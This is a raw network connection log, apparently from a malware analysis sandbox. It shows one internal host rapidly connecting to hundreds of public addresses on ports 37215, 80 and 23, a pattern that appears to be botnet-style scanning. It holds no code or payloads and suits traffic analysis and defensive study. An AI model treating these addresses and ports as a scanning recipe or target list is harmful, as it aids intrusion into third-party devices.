Dec 3, 2024 22:02:04.066586971 CET	40832	37215	192.168.2.14	41.93.179.105
Dec 3, 2024 22:02:04.066586971 CET	40832	37215	192.168.2.14	41.14.191.193
Dec 3, 2024 22:02:04.066598892 CET	40832	37215	192.168.2.14	41.233.63.244
Dec 3, 2024 22:02:04.066601038 CET	40832	37215	192.168.2.14	41.219.114.239
Dec 3, 2024 22:02:04.066608906 CET	40832	37215	192.168.2.14	41.158.124.4
Dec 3, 2024 22:02:04.066617012 CET	40832	37215	192.168.2.14	41.202.253.86
Dec 3, 2024 22:02:04.066622972 CET	40832	37215	192.168.2.14	41.101.123.144
Dec 3, 2024 22:02:04.066623926 CET	40832	37215	192.168.2.14	41.80.205.0
Dec 3, 2024 22:02:04.066633940 CET	40832	37215	192.168.2.14	197.178.136.39
Dec 3, 2024 22:02:04.066642046 CET	40832	37215	192.168.2.14	156.49.40.226
Dec 3, 2024 22:02:04.066646099 CET	40832	37215	192.168.2.14	41.204.229.10
Dec 3, 2024 22:02:04.066658020 CET	40832	37215	192.168.2.14	41.105.194.214
Dec 3, 2024 22:02:04.066663027 CET	40832	37215	192.168.2.14	41.252.13.40
Dec 3, 2024 22:02:04.066663027 CET	40832	37215	192.168.2.14	41.109.0.146
Dec 3, 2024 22:02:04.066674948 CET	40832	37215	192.168.2.14	156.138.70.108
Dec 3, 2024 22:02:04.066679001 CET	40832	37215	192.168.2.14	156.108.83.15
Dec 3, 2024 22:02:04.066679955 CET	40832	37215	192.168.2.14	41.50.177.69
Dec 3, 2024 22:02:04.066680908 CET	40832	37215	192.168.2.14	41.98.251.127
Dec 3, 2024 22:02:04.066690922 CET	40832	37215	192.168.2.14	197.98.164.13
Dec 3, 2024 22:02:04.066709995 CET	40832	37215	192.168.2.14	41.229.219.247
Dec 3, 2024 22:02:04.066709995 CET	40832	37215	192.168.2.14	156.92.235.30
Dec 3, 2024 22:02:04.066714048 CET	40832	37215	192.168.2.14	197.130.253.143
Dec 3, 2024 22:02:04.066714048 CET	40832	37215	192.168.2.14	197.209.236.15
Dec 3, 2024 22:02:04.066716909 CET	40832	37215	192.168.2.14	197.33.157.47
Dec 3, 2024 22:02:04.066719055 CET	40832	37215	192.168.2.14	197.12.13.9
Dec 3, 2024 22:02:04.066730976 CET	40832	37215	192.168.2.14	41.57.214.223
Dec 3, 2024 22:02:04.066732883 CET	40832	37215	192.168.2.14	197.67.16.214
Dec 3, 2024 22:02:04.066740036 CET	40832	37215	192.168.2.14	156.47.17.135
Dec 3, 2024 22:02:04.066751003 CET	40832	37215	192.168.2.14	197.255.203.98
Dec 3, 2024 22:02:04.066751003 CET	40832	37215	192.168.2.14	197.46.40.198
Dec 3, 2024 22:02:04.066765070 CET	40832	37215	192.168.2.14	41.66.126.219
Dec 3, 2024 22:02:04.066766977 CET	40832	37215	192.168.2.14	156.112.37.53
Dec 3, 2024 22:02:04.066775084 CET	40832	37215	192.168.2.14	156.71.233.21
Dec 3, 2024 22:02:04.066777945 CET	40832	37215	192.168.2.14	197.234.77.207
Dec 3, 2024 22:02:04.066777945 CET	40832	37215	192.168.2.14	197.212.159.9
Dec 3, 2024 22:02:04.066791058 CET	40832	37215	192.168.2.14	197.60.27.153
Dec 3, 2024 22:02:04.066795111 CET	40832	37215	192.168.2.14	156.101.28.9
Dec 3, 2024 22:02:04.066796064 CET	40832	37215	192.168.2.14	197.229.119.73
Dec 3, 2024 22:02:04.066808939 CET	40832	37215	192.168.2.14	197.229.152.237
Dec 3, 2024 22:02:04.066828966 CET	40832	37215	192.168.2.14	156.173.187.20
Dec 3, 2024 22:02:04.066828966 CET	40832	37215	192.168.2.14	41.141.111.170
Dec 3, 2024 22:02:04.066829920 CET	40832	37215	192.168.2.14	156.244.6.66
Dec 3, 2024 22:02:04.066829920 CET	40832	37215	192.168.2.14	41.180.181.173
Dec 3, 2024 22:02:04.066829920 CET	40832	37215	192.168.2.14	156.138.126.253
Dec 3, 2024 22:02:04.066829920 CET	40832	37215	192.168.2.14	197.156.239.203
Dec 3, 2024 22:02:04.066829920 CET	40832	37215	192.168.2.14	41.30.140.61
Dec 3, 2024 22:02:04.066836119 CET	40832	37215	192.168.2.14	197.33.242.159
Dec 3, 2024 22:02:04.066839933 CET	40832	37215	192.168.2.14	41.151.97.188
Dec 3, 2024 22:02:04.066843987 CET	40832	37215	192.168.2.14	156.85.49.191
Dec 3, 2024 22:02:04.066843987 CET	40832	37215	192.168.2.14	156.199.162.199
Dec 3, 2024 22:02:04.066843987 CET	40832	37215	192.168.2.14	41.233.194.158
Dec 3, 2024 22:02:04.066857100 CET	40832	37215	192.168.2.14	156.61.104.158
Dec 3, 2024 22:02:04.066857100 CET	40832	37215	192.168.2.14	156.21.235.43
Dec 3, 2024 22:02:04.066864014 CET	40832	37215	192.168.2.14	197.215.107.163
Dec 3, 2024 22:02:04.066879034 CET	40832	37215	192.168.2.14	41.249.215.5
Dec 3, 2024 22:02:04.066879988 CET	40832	37215	192.168.2.14	156.234.104.203
Dec 3, 2024 22:02:04.066880941 CET	40832	37215	192.168.2.14	41.50.216.216
Dec 3, 2024 22:02:04.066880941 CET	40832	37215	192.168.2.14	156.73.231.21
Dec 3, 2024 22:02:04.066884041 CET	40832	37215	192.168.2.14	197.122.165.250
Dec 3, 2024 22:02:04.066889048 CET	40832	37215	192.168.2.14	156.98.237.37
Dec 3, 2024 22:02:04.066895962 CET	40832	37215	192.168.2.14	197.102.33.162
Dec 3, 2024 22:02:04.066899061 CET	40832	37215	192.168.2.14	156.248.116.15
Dec 3, 2024 22:02:04.066907883 CET	40832	37215	192.168.2.14	197.15.158.209
Dec 3, 2024 22:02:04.066912889 CET	40832	37215	192.168.2.14	197.0.201.166
Dec 3, 2024 22:02:04.066921949 CET	40832	37215	192.168.2.14	41.68.162.0
Dec 3, 2024 22:02:04.066926956 CET	40832	37215	192.168.2.14	197.161.187.143
Dec 3, 2024 22:02:04.066936970 CET	40832	37215	192.168.2.14	197.183.85.78
Dec 3, 2024 22:02:04.066939116 CET	40832	37215	192.168.2.14	156.221.203.183
Dec 3, 2024 22:02:04.066939116 CET	40832	37215	192.168.2.14	41.61.134.242
Dec 3, 2024 22:02:04.066951036 CET	40832	37215	192.168.2.14	156.247.116.180
Dec 3, 2024 22:02:04.066957951 CET	40832	37215	192.168.2.14	197.53.106.186
Dec 3, 2024 22:02:04.066967010 CET	40832	37215	192.168.2.14	156.10.187.47
Dec 3, 2024 22:02:04.066967010 CET	40832	37215	192.168.2.14	156.121.235.232
Dec 3, 2024 22:02:04.066973925 CET	40832	37215	192.168.2.14	197.161.156.112
Dec 3, 2024 22:02:04.066977024 CET	40832	37215	192.168.2.14	197.206.138.130
Dec 3, 2024 22:02:04.066993952 CET	40832	37215	192.168.2.14	156.147.213.202
Dec 3, 2024 22:02:04.067003965 CET	40832	37215	192.168.2.14	41.50.238.123
Dec 3, 2024 22:02:04.067008018 CET	40832	37215	192.168.2.14	156.197.187.239
Dec 3, 2024 22:02:04.067009926 CET	40832	37215	192.168.2.14	41.79.137.177
Dec 3, 2024 22:02:04.067013025 CET	40832	37215	192.168.2.14	156.206.84.34
Dec 3, 2024 22:02:04.067013979 CET	40832	37215	192.168.2.14	41.39.160.155
Dec 3, 2024 22:02:04.067014933 CET	40832	37215	192.168.2.14	197.206.122.182
Dec 3, 2024 22:02:04.067022085 CET	40832	37215	192.168.2.14	156.177.144.57
Dec 3, 2024 22:02:04.067030907 CET	40832	37215	192.168.2.14	41.87.191.138
Dec 3, 2024 22:02:04.067029953 CET	40832	37215	192.168.2.14	41.41.23.4
Dec 3, 2024 22:02:04.067040920 CET	40832	37215	192.168.2.14	197.139.115.225
Dec 3, 2024 22:02:04.067044973 CET	40832	37215	192.168.2.14	197.53.233.79
Dec 3, 2024 22:02:04.067047119 CET	40832	37215	192.168.2.14	197.22.100.26
Dec 3, 2024 22:02:04.067061901 CET	40832	37215	192.168.2.14	197.180.100.252
Dec 3, 2024 22:02:04.067063093 CET	40832	37215	192.168.2.14	156.27.81.227
Dec 3, 2024 22:02:04.067078114 CET	40832	37215	192.168.2.14	41.97.203.90
Dec 3, 2024 22:02:04.067078114 CET	40832	37215	192.168.2.14	41.119.19.110
Dec 3, 2024 22:02:04.067080021 CET	40832	37215	192.168.2.14	197.202.133.157
Dec 3, 2024 22:02:04.067080975 CET	40832	37215	192.168.2.14	41.32.39.190
Dec 3, 2024 22:02:04.067087889 CET	40832	37215	192.168.2.14	41.105.97.27
Dec 3, 2024 22:02:04.067099094 CET	40832	37215	192.168.2.14	41.104.91.47
Dec 3, 2024 22:02:04.067099094 CET	40832	37215	192.168.2.14	41.145.125.151
Dec 3, 2024 22:02:04.067118883 CET	40832	37215	192.168.2.14	156.34.174.93
Dec 3, 2024 22:02:04.067118883 CET	40832	37215	192.168.2.14	197.154.15.212
Dec 3, 2024 22:02:04.067121029 CET	40832	37215	192.168.2.14	197.229.26.147
Dec 3, 2024 22:02:04.067122936 CET	40832	37215	192.168.2.14	156.157.239.82
Dec 3, 2024 22:02:04.067131042 CET	40832	37215	192.168.2.14	156.114.241.32
Dec 3, 2024 22:02:04.067136049 CET	40832	37215	192.168.2.14	41.232.194.28
Dec 3, 2024 22:02:04.067137957 CET	40832	37215	192.168.2.14	197.16.29.195
Dec 3, 2024 22:02:04.067141056 CET	40832	37215	192.168.2.14	156.51.241.78
Dec 3, 2024 22:02:04.067142010 CET	40832	37215	192.168.2.14	41.28.178.117
Dec 3, 2024 22:02:04.067147970 CET	40832	37215	192.168.2.14	197.138.252.105
Dec 3, 2024 22:02:04.067154884 CET	40832	37215	192.168.2.14	197.123.242.90
Dec 3, 2024 22:02:04.067156076 CET	40832	37215	192.168.2.14	41.34.103.30
Dec 3, 2024 22:02:04.067157030 CET	40832	37215	192.168.2.14	197.64.3.152
Dec 3, 2024 22:02:04.067169905 CET	40832	37215	192.168.2.14	197.195.47.122
Dec 3, 2024 22:02:04.067169905 CET	40832	37215	192.168.2.14	41.184.235.209
Dec 3, 2024 22:02:04.067169905 CET	40832	37215	192.168.2.14	197.18.106.88
Dec 3, 2024 22:02:04.067186117 CET	40832	37215	192.168.2.14	156.248.170.211
Dec 3, 2024 22:02:04.067198038 CET	40832	37215	192.168.2.14	197.55.84.5
Dec 3, 2024 22:02:04.067204952 CET	40832	37215	192.168.2.14	41.3.64.108
Dec 3, 2024 22:02:04.067204952 CET	40832	37215	192.168.2.14	197.97.114.208
Dec 3, 2024 22:02:04.067214012 CET	40832	37215	192.168.2.14	41.224.121.57
Dec 3, 2024 22:02:04.067215919 CET	40832	37215	192.168.2.14	156.176.206.246
Dec 3, 2024 22:02:04.067223072 CET	40832	37215	192.168.2.14	197.122.110.33
Dec 3, 2024 22:02:04.067224026 CET	40832	37215	192.168.2.14	197.84.114.63
Dec 3, 2024 22:02:04.067235947 CET	40832	37215	192.168.2.14	156.26.114.192
Dec 3, 2024 22:02:04.067441940 CET	45242	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:04.067455053 CET	45242	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:04.067832947 CET	45628	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:04.068186045 CET	60416	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:04.068186045 CET	60416	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:04.068478107 CET	60810	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:04.068835974 CET	36932	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:04.068835974 CET	36932	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:04.069133043 CET	37316	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:04.073373079 CET	57206	37215	192.168.2.14	156.143.128.146
Dec 3, 2024 22:02:04.073385954 CET	33902	37215	192.168.2.14	197.98.147.253
Dec 3, 2024 22:02:04.073390961 CET	57312	37215	192.168.2.14	41.198.32.202
Dec 3, 2024 22:02:04.073390961 CET	37530	37215	192.168.2.14	41.97.202.38
Dec 3, 2024 22:02:04.073393106 CET	39662	37215	192.168.2.14	156.134.60.80
Dec 3, 2024 22:02:04.073410034 CET	59450	37215	192.168.2.14	41.22.243.184
Dec 3, 2024 22:02:04.073410034 CET	53026	37215	192.168.2.14	156.129.55.251
Dec 3, 2024 22:02:04.073410034 CET	59304	37215	192.168.2.14	156.79.110.46
Dec 3, 2024 22:02:04.073411942 CET	38390	37215	192.168.2.14	41.12.21.54
Dec 3, 2024 22:02:04.073411942 CET	54386	37215	192.168.2.14	156.18.140.14
Dec 3, 2024 22:02:04.073415995 CET	53518	37215	192.168.2.14	41.120.64.223
Dec 3, 2024 22:02:04.073415995 CET	40712	37215	192.168.2.14	197.138.171.55
Dec 3, 2024 22:02:04.073421001 CET	55098	37215	192.168.2.14	41.198.162.115
Dec 3, 2024 22:02:04.073421955 CET	48240	37215	192.168.2.14	156.46.78.126
Dec 3, 2024 22:02:04.073426962 CET	44930	37215	192.168.2.14	156.79.246.90
Dec 3, 2024 22:02:04.073426962 CET	48744	37215	192.168.2.14	197.178.163.42
Dec 3, 2024 22:02:04.073435068 CET	52006	37215	192.168.2.14	156.53.134.68
Dec 3, 2024 22:02:04.073437929 CET	55350	37215	192.168.2.14	41.197.166.51
Dec 3, 2024 22:02:04.073438883 CET	52242	37215	192.168.2.14	156.35.166.92
Dec 3, 2024 22:02:04.073441982 CET	59542	37215	192.168.2.14	41.212.7.29
Dec 3, 2024 22:02:04.073443890 CET	34718	37215	192.168.2.14	41.169.211.235
Dec 3, 2024 22:02:04.073467970 CET	50126	37215	192.168.2.14	41.150.87.238
Dec 3, 2024 22:02:04.077656031 CET	55364	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:04.078174114 CET	56348	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:04.078715086 CET	44916	80	192.168.2.14	42.182.65.179
Dec 3, 2024 22:02:04.079319954 CET	53072	80	192.168.2.14	153.65.121.5
Dec 3, 2024 22:02:04.079859018 CET	57248	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:04.080401897 CET	44556	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:04.080950975 CET	46952	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:04.081495047 CET	40786	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:04.082037926 CET	52840	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:04.082587957 CET	45584	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:04.082631111 CET	45584	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:04.082941055 CET	46086	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:04.097549915 CET	37215	57956	197.231.150.19	192.168.2.14
Dec 3, 2024 22:02:04.097604036 CET	37215	42150	41.204.219.73	192.168.2.14
Dec 3, 2024 22:02:04.097614050 CET	37215	56346	197.105.204.171	192.168.2.14
Dec 3, 2024 22:02:04.097629070 CET	57956	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:04.097645044 CET	42150	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:04.097667933 CET	56346	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:04.097704887 CET	37215	54160	156.3.55.17	192.168.2.14
Dec 3, 2024 22:02:04.097799063 CET	57956	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:04.097799063 CET	57956	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:04.097804070 CET	54160	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:04.098174095 CET	58310	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:04.098527908 CET	42150	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:04.098527908 CET	42150	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:04.098818064 CET	42512	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:04.099193096 CET	56346	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:04.099193096 CET	56346	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:04.099488974 CET	56708	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:04.099941015 CET	54160	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:04.099941015 CET	54160	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:04.100238085 CET	54522	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:04.105375051 CET	56986	37215	192.168.2.14	41.48.214.226
Dec 3, 2024 22:02:04.105380058 CET	37740	37215	192.168.2.14	156.138.184.13
Dec 3, 2024 22:02:04.105380058 CET	54464	37215	192.168.2.14	156.128.181.170
Dec 3, 2024 22:02:04.105381966 CET	46316	37215	192.168.2.14	156.193.205.255
Dec 3, 2024 22:02:04.105380058 CET	56398	37215	192.168.2.14	156.71.207.31
Dec 3, 2024 22:02:04.105381966 CET	49000	37215	192.168.2.14	197.144.179.42
Dec 3, 2024 22:02:04.105386019 CET	58034	37215	192.168.2.14	197.47.140.171
Dec 3, 2024 22:02:04.105392933 CET	50470	37215	192.168.2.14	156.237.57.104
Dec 3, 2024 22:02:04.105395079 CET	60468	37215	192.168.2.14	197.111.127.130
Dec 3, 2024 22:02:04.105400085 CET	56752	37215	192.168.2.14	41.206.13.183
Dec 3, 2024 22:02:04.105403900 CET	33788	37215	192.168.2.14	197.178.64.233
Dec 3, 2024 22:02:04.105407000 CET	56378	37215	192.168.2.14	156.232.48.11
Dec 3, 2024 22:02:04.105412960 CET	39078	37215	192.168.2.14	156.177.137.56
Dec 3, 2024 22:02:04.105412960 CET	56940	37215	192.168.2.14	156.191.95.166
Dec 3, 2024 22:02:04.105413914 CET	43592	37215	192.168.2.14	41.228.141.86
Dec 3, 2024 22:02:04.105424881 CET	51948	37215	192.168.2.14	156.5.78.161
Dec 3, 2024 22:02:04.105429888 CET	34434	37215	192.168.2.14	197.238.16.194
Dec 3, 2024 22:02:04.105429888 CET	49366	37215	192.168.2.14	156.29.220.230
Dec 3, 2024 22:02:04.105441093 CET	47156	37215	192.168.2.14	156.69.73.223
Dec 3, 2024 22:02:04.105441093 CET	44594	37215	192.168.2.14	156.45.65.153
Dec 3, 2024 22:02:04.105448961 CET	46014	37215	192.168.2.14	41.85.85.9
Dec 3, 2024 22:02:04.105448961 CET	50118	37215	192.168.2.14	197.42.48.161
Dec 3, 2024 22:02:04.105448961 CET	50584	37215	192.168.2.14	197.247.250.5
Dec 3, 2024 22:02:04.105453014 CET	32940	37215	192.168.2.14	197.203.167.250
Dec 3, 2024 22:02:04.105459929 CET	34428	37215	192.168.2.14	41.52.157.108
Dec 3, 2024 22:02:04.105469942 CET	43056	37215	192.168.2.14	41.115.11.228
Dec 3, 2024 22:02:04.105469942 CET	51342	37215	192.168.2.14	41.88.167.184
Dec 3, 2024 22:02:04.105470896 CET	40104	37215	192.168.2.14	41.214.27.195
Dec 3, 2024 22:02:04.105472088 CET	54486	37215	192.168.2.14	41.10.67.160
Dec 3, 2024 22:02:04.105472088 CET	48032	37215	192.168.2.14	41.94.188.15
Dec 3, 2024 22:02:04.105483055 CET	59902	37215	192.168.2.14	41.195.133.160
Dec 3, 2024 22:02:04.105487108 CET	60910	37215	192.168.2.14	197.30.213.105
Dec 3, 2024 22:02:04.105490923 CET	37638	37215	192.168.2.14	41.251.226.147
Dec 3, 2024 22:02:04.105498075 CET	46748	37215	192.168.2.14	41.9.64.69
Dec 3, 2024 22:02:04.105499983 CET	41944	37215	192.168.2.14	156.117.58.103
Dec 3, 2024 22:02:04.105509043 CET	51462	37215	192.168.2.14	41.173.178.106
Dec 3, 2024 22:02:04.105509043 CET	35556	37215	192.168.2.14	197.115.182.63
Dec 3, 2024 22:02:04.105509996 CET	60684	37215	192.168.2.14	41.120.62.47
Dec 3, 2024 22:02:04.105509043 CET	52744	37215	192.168.2.14	41.61.147.3
Dec 3, 2024 22:02:04.105509996 CET	35320	37215	192.168.2.14	41.184.96.173
Dec 3, 2024 22:02:04.105509043 CET	47592	37215	192.168.2.14	41.115.247.2
Dec 3, 2024 22:02:04.105515957 CET	49684	37215	192.168.2.14	41.231.49.236
Dec 3, 2024 22:02:04.153729916 CET	80	50426	197.136.135.192	192.168.2.14
Dec 3, 2024 22:02:04.153839111 CET	50426	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:04.153888941 CET	50426	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:04.153888941 CET	50426	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:04.154172897 CET	50578	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:04.154304028 CET	80	48768	220.43.80.1	192.168.2.14
Dec 3, 2024 22:02:04.154340029 CET	48768	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:04.154464006 CET	48768	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:04.154464006 CET	48768	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:04.154676914 CET	48920	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:04.154845953 CET	80	43720	13.161.131.22	192.168.2.14
Dec 3, 2024 22:02:04.154879093 CET	43720	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:04.154989004 CET	43720	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:04.154989004 CET	43720	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:04.155231953 CET	43872	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:04.155344009 CET	80	54106	149.250.7.242	192.168.2.14
Dec 3, 2024 22:02:04.155378103 CET	54106	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:04.155525923 CET	54106	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:04.155527115 CET	54106	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:04.155726910 CET	54258	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:04.155854940 CET	80	59194	86.124.165.253	192.168.2.14
Dec 3, 2024 22:02:04.155935049 CET	59194	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:04.156033993 CET	59194	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:04.156033993 CET	59194	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:04.156238079 CET	59346	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:04.156653881 CET	80	40264	68.105.40.66	192.168.2.14
Dec 3, 2024 22:02:04.156692982 CET	40264	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:04.156725883 CET	40264	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:04.156725883 CET	40264	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:04.156946898 CET	40416	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:04.167218924 CET	80	57128	8.73.108.228	192.168.2.14
Dec 3, 2024 22:02:04.167268991 CET	57128	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:04.167295933 CET	57128	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:04.167295933 CET	57128	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:04.167527914 CET	57242	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:04.173372030 CET	52982	37215	192.168.2.14	41.74.150.174
Dec 3, 2024 22:02:04.173373938 CET	57650	37215	192.168.2.14	41.134.87.124
Dec 3, 2024 22:02:04.175802946 CET	80	34666	166.74.103.249	192.168.2.14
Dec 3, 2024 22:02:04.175853014 CET	34666	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:04.175880909 CET	34666	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:04.175880909 CET	34666	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:04.176115036 CET	34752	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:04.179186106 CET	39808	23	192.168.2.14	157.40.62.205
Dec 3, 2024 22:02:04.179198027 CET	39808	23	192.168.2.14	194.101.125.82
Dec 3, 2024 22:02:04.179198980 CET	39808	23	192.168.2.14	84.48.50.184
Dec 3, 2024 22:02:04.179198980 CET	39808	23	192.168.2.14	178.96.68.101
Dec 3, 2024 22:02:04.179199934 CET	39808	23	192.168.2.14	172.35.221.200
Dec 3, 2024 22:02:04.179200888 CET	39808	23	192.168.2.14	210.9.166.228
Dec 3, 2024 22:02:04.179204941 CET	39808	23	192.168.2.14	151.194.14.101
Dec 3, 2024 22:02:04.179212093 CET	39808	23	192.168.2.14	118.147.22.226
Dec 3, 2024 22:02:04.179219961 CET	39808	23	192.168.2.14	84.242.79.181
Dec 3, 2024 22:02:04.179224968 CET	39808	23	192.168.2.14	62.180.29.138
Dec 3, 2024 22:02:04.179239988 CET	39808	23	192.168.2.14	84.68.230.214
Dec 3, 2024 22:02:04.179240942 CET	39808	23	192.168.2.14	173.37.64.162
Dec 3, 2024 22:02:04.179240942 CET	39808	23	192.168.2.14	39.201.200.16
Dec 3, 2024 22:02:04.179241896 CET	39808	23	192.168.2.14	64.12.36.239
Dec 3, 2024 22:02:04.179253101 CET	39808	23	192.168.2.14	64.218.71.216
Dec 3, 2024 22:02:04.179255962 CET	39808	23	192.168.2.14	121.80.140.61
Dec 3, 2024 22:02:04.179260969 CET	39808	23	192.168.2.14	69.6.170.86
Dec 3, 2024 22:02:04.179270983 CET	39808	23	192.168.2.14	86.34.25.109
Dec 3, 2024 22:02:04.179270983 CET	39808	23	192.168.2.14	97.168.184.221
Dec 3, 2024 22:02:04.179272890 CET	39808	23	192.168.2.14	217.164.65.15
Dec 3, 2024 22:02:04.179272890 CET	39808	23	192.168.2.14	66.139.244.252
Dec 3, 2024 22:02:04.179287910 CET	39808	23	192.168.2.14	143.80.220.254
Dec 3, 2024 22:02:04.179297924 CET	39808	23	192.168.2.14	91.85.211.12
Dec 3, 2024 22:02:04.179306030 CET	39808	23	192.168.2.14	168.147.61.38
Dec 3, 2024 22:02:04.179306030 CET	39808	23	192.168.2.14	90.83.242.218
Dec 3, 2024 22:02:04.179306030 CET	39808	23	192.168.2.14	120.243.121.226
Dec 3, 2024 22:02:04.179317951 CET	39808	23	192.168.2.14	116.188.181.28
Dec 3, 2024 22:02:04.179322958 CET	39808	23	192.168.2.14	59.59.32.216
Dec 3, 2024 22:02:04.179332018 CET	39808	23	192.168.2.14	190.63.174.244
Dec 3, 2024 22:02:04.179333925 CET	39808	23	192.168.2.14	117.160.137.167
Dec 3, 2024 22:02:04.179337025 CET	39808	23	192.168.2.14	168.204.255.45
Dec 3, 2024 22:02:04.179342985 CET	39808	23	192.168.2.14	102.42.150.155
Dec 3, 2024 22:02:04.179347038 CET	39808	23	192.168.2.14	64.132.71.244
Dec 3, 2024 22:02:04.179347038 CET	39808	23	192.168.2.14	187.190.23.83
Dec 3, 2024 22:02:04.179356098 CET	39808	23	192.168.2.14	183.114.114.217
Dec 3, 2024 22:02:04.179367065 CET	39808	23	192.168.2.14	182.77.94.6
Dec 3, 2024 22:02:04.179367065 CET	39808	23	192.168.2.14	177.52.194.59
Dec 3, 2024 22:02:04.179373980 CET	39808	23	192.168.2.14	104.163.34.141
Dec 3, 2024 22:02:04.179382086 CET	39808	23	192.168.2.14	31.19.45.209
Dec 3, 2024 22:02:04.179390907 CET	39808	23	192.168.2.14	109.144.236.34
Dec 3, 2024 22:02:04.179390907 CET	39808	23	192.168.2.14	111.188.239.184
Dec 3, 2024 22:02:04.179392099 CET	39808	23	192.168.2.14	171.86.11.209
Dec 3, 2024 22:02:04.179405928 CET	39808	23	192.168.2.14	108.15.59.139
Dec 3, 2024 22:02:04.179405928 CET	39808	23	192.168.2.14	194.64.173.42
Dec 3, 2024 22:02:04.179408073 CET	39808	23	192.168.2.14	60.15.23.139
Dec 3, 2024 22:02:04.179411888 CET	39808	23	192.168.2.14	89.171.38.173
Dec 3, 2024 22:02:04.179424047 CET	39808	23	192.168.2.14	98.106.224.32
Dec 3, 2024 22:02:04.179424047 CET	39808	23	192.168.2.14	93.163.16.52
Dec 3, 2024 22:02:04.179431915 CET	39808	23	192.168.2.14	193.111.194.254
Dec 3, 2024 22:02:04.179433107 CET	39808	23	192.168.2.14	121.245.203.70
Dec 3, 2024 22:02:04.179438114 CET	39808	23	192.168.2.14	151.187.107.227
Dec 3, 2024 22:02:04.179438114 CET	39808	23	192.168.2.14	186.110.68.136
Dec 3, 2024 22:02:04.179445028 CET	39808	23	192.168.2.14	180.37.165.235
Dec 3, 2024 22:02:04.179450035 CET	39808	23	192.168.2.14	137.127.116.56
Dec 3, 2024 22:02:04.179459095 CET	39808	23	192.168.2.14	54.55.127.203
Dec 3, 2024 22:02:04.179462910 CET	39808	23	192.168.2.14	51.133.201.38
Dec 3, 2024 22:02:04.179462910 CET	39808	23	192.168.2.14	153.15.113.180
Dec 3, 2024 22:02:04.179472923 CET	39808	23	192.168.2.14	142.104.115.176
Dec 3, 2024 22:02:04.179476976 CET	39808	23	192.168.2.14	109.10.190.2
Dec 3, 2024 22:02:04.179486036 CET	39808	23	192.168.2.14	161.223.58.63
Dec 3, 2024 22:02:04.179500103 CET	39808	23	192.168.2.14	171.236.1.10
Dec 3, 2024 22:02:04.179501057 CET	39808	23	192.168.2.14	118.33.191.192
Dec 3, 2024 22:02:04.179501057 CET	39808	23	192.168.2.14	91.238.90.4
Dec 3, 2024 22:02:04.179502964 CET	39808	23	192.168.2.14	74.39.141.157
Dec 3, 2024 22:02:04.179513931 CET	39808	23	192.168.2.14	187.98.66.205
Dec 3, 2024 22:02:04.179516077 CET	39808	23	192.168.2.14	73.22.45.205
